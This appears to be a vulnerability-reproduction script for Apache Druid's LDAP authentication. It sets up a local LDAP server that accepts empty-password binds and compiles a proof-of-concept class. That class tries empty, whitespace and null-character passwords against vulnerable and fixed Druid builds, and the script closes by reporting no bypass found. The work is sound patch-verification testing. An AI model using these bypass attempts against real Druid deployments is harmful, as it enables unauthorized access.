#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

DUID_REPO="$ROOT/druid"
DUID_FIXED="$ROOT/druid_fixed"
LDAP_PORT=1389

if [ ! -d "$DUID_REPO" ]; then
  git clone --depth 1 --branch 35.0.0 https://github.com/apache/druid.git "$DUID_REPO"
fi

if [ ! -d "$DUID_FIXED" ]; then
  git clone --depth 1 --branch 36.0.0 https://github.com/apache/druid.git "$DUID_FIXED"
fi

sudo apt-get update
sudo apt-get install -y openjdk-17-jdk maven
export JAVA_HOME=/usr/lib/jvm/java-17-openjdk-arm64
export PATH="$JAVA_HOME/bin:$PATH"

# Fetch in-memory LDAP server dependency
mvn -q -Dartifact=com.unboundid:unboundid-ldapsdk:6.0.11 dependency:get
UNBOUNDID_JAR="$HOME/.m2/repository/com/unboundid/unboundid-ldapsdk/6.0.11/unboundid-ldapsdk-6.0.11.jar"

# Build in-memory LDAP server that accepts empty-password binds
LDAP_SRC="$LOGS/AnonLdapServer.java"
if [ ! -f "$LDAP_SRC" ]; then
  cat >"$LDAP_SRC" <<'JAVA'
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSimpleBindResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.BindResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.ldap.sdk.schema.Schema;
import java.net.InetAddress;

public class AnonLdapServer {
  public static void main(String[] args) throws Exception {
    InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=org");
    config.setSchema(Schema.getDefaultStandardSchema());
    config.setEnforceAttributeSyntaxCompliance(false);
    config.setEnforceSingleStructuralObjectClass(false);
    config.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig("default", InetAddress.getByName("0.0.0.0"), 1389, null));

    config.addInMemoryOperationInterceptor(new InMemoryOperationInterceptor() {
      @Override
      public void processSimpleBindResult(InMemoryInterceptedSimpleBindResult result) {
        String dn = result.getRequest().getBindDN();
        if ("cn=admin,dc=example,dc=org".equalsIgnoreCase(dn)) {
          result.setResult(new BindResult(result.getMessageID(), ResultCode.SUCCESS, null, null, null, null));
          return;
        }
        if (result.getRequest().getPassword() == null || result.getRequest().getPassword().getValueLength() == 0) {
          result.setResult(new BindResult(result.getMessageID(), ResultCode.SUCCESS, null, null, null, null));
        }
      }
    });

    InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);
    server.add(
        "dn: dc=example,dc=org",
        "objectClass: top",
        "objectClass: dcObject",
        "objectClass: organization",
        "o: Example",
        "dc: example"
    );
    server.add(
        "dn: cn=admin,dc=example,dc=org",
        "objectClass: organizationalRole",
        "cn: admin"
    );
    server.add(
        "dn: uid=alice,dc=example,dc=org",
        "objectClass: inetOrgPerson",
        "uid: alice",
        "sn: Alice",
        "cn: Alice",
        "userPassword: secret"
    );

    server.startListening();
    System.out.println("LDAP server started on 1389");
    Thread.sleep(Long.MAX_VALUE);
  }
}
JAVA
fi

if ! pgrep -f AnonLdapServer >/dev/null 2>&1; then
  javac -cp "$UNBOUNDID_JAR" "$LDAP_SRC" -d "$LOGS"
  java -cp "$LOGS:$UNBOUNDID_JAR" AnonLdapServer >"$LOGS/ldap_server_variant.log" 2>&1 &
  LDAP_PID=$!
  trap 'kill "$LDAP_PID" 2>/dev/null || true' EXIT
  sleep 2
fi

# Build classpath for druid-basic-security
CP_FILE="$LOGS/variant_classpath.txt"
if [ ! -f "$CP_FILE" ]; then
  mvn -q -f "$DUID_REPO/pom.xml" -pl extensions-core/druid-basic-security -am dependency:build-classpath -DincludeScope=compile -Dmdep.outputFile="$CP_FILE"
fi

CLASSPATH="$(cat "$CP_FILE"):$DUID_REPO/extensions-core/druid-basic-security/target/classes"

POC="$LOGS/LdapVariantPoC.java"
cat >"$POC" <<'JAVA'
import org.apache.druid.security.basic.authentication.validator.LDAPCredentialsValidator;
import org.apache.druid.security.basic.BasicAuthLDAPConfig;
import org.apache.druid.server.security.AuthenticationResult;

public class LdapVariantPoC {
  public static void main(String[] args) {
    BasicAuthLDAPConfig config = new BasicAuthLDAPConfig(
        "ldap://127.0.0.1:1389",
        "cn=admin,dc=example,dc=org",
        new org.apache.druid.metadata.DefaultPasswordProvider("admin"),
        "dc=example,dc=org",
        "(uid=%s)",
        "uid",
        1000,
        600,
        3600,
        100
    );

    LDAPCredentialsValidator validator = new LDAPCredentialsValidator(
        config,
        new LDAPCredentialsValidator.LruBlockCache(3600, 3600, 100),
        null
    );

    String username = args[0];
    String password = args[1];
    AuthenticationResult result = validator.validateCredentials("ldap", "authz", username, password.toCharArray());
    if (result == null) {
      System.out.println("AUTH_NULL");
    } else {
      System.out.println("AUTH_OK: " + result.getIdentity());
    }
  }
}
JAVA

javac -cp "$CLASSPATH" "$POC" -d "$LOGS"

attempt() {
  local label="$1"
  local user="$2"
  local pass="$3"
  echo "Attempt $label user=$user pass='$pass'" | tee -a "$LOGS/variant_attempts.log"
  set +e
  java -cp "$LOGS:$CLASSPATH" LdapVariantPoC "$user" "$pass" 2>&1 | tee -a "$LOGS/variant_attempts.log"
  echo "exit_code=$?" | tee -a "$LOGS/variant_attempts.log"
  set -e
}

# Variant attempts (vulnerable)
attempt "empty" "alice" ""
attempt "space" "alice" " "
attempt "tab" "alice" $'\t'
attempt "nullchar" "alice" $'\0'

# Attempt fixed build if possible
CP_FIXED="$LOGS/variant_classpath_fixed.txt"
if mvn -q -f "$DUID_FIXED/pom.xml" -pl extensions-core/druid-basic-security -am dependency:build-classpath -DincludeScope=compile -Dmdep.outputFile="$CP_FIXED"; then
  CLASSPATH_FIXED="$(cat "$CP_FIXED"):$DUID_FIXED/extensions-core/druid-basic-security/target/classes"
  mkdir -p "$LOGS/fixed"
  javac -cp "$CLASSPATH_FIXED" "$POC" -d "$LOGS/fixed"

  attempt_fixed() {
    local label="$1"
    local user="$2"
    local pass="$3"
    echo "Fixed attempt $label user=$user pass='$pass'" | tee -a "$LOGS/variant_attempts.log"
    set +e
    java -cp "$LOGS/fixed:$CLASSPATH_FIXED" LdapVariantPoC "$user" "$pass" 2>&1 | tee -a "$LOGS/variant_attempts.log"
    echo "exit_code=$?" | tee -a "$LOGS/variant_attempts.log"
    set -e
  }

  attempt_fixed "empty" "alice" ""
  attempt_fixed "space" "alice" " "
  attempt_fixed "tab" "alice" $'\t'
  attempt_fixed "nullchar" "alice" $'\0'
else
  echo "Fixed build dependency resolution failed; see logs for details" | tee -a "$LOGS/variant_attempts.log"
fi

# No bypass found
exit 1
